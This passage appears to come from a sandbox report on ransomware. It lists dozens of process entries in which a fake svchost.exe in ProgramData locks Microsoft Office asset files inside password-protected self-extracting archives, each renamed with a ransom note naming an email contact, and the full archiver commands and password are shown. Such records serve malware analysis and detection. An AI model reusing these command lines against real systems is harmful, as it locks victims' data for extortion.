                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.GrayF.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.GrayF.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2.16.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2Fluent.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2Fluent.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2Fluent.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Send2Fluent.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Unlock.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Unlock.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Unlock.White.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Unlock.White.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected](!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\manifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\manifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images\assets_picker-account-addPerson-48.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images\assets_picker-account-addPerson-48.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images\MSFT.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images\MSFT.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\manifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\manifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\mecontrol.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\mecontrol.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\manifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\manifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\StoreLogo.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049\StoreLogo.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
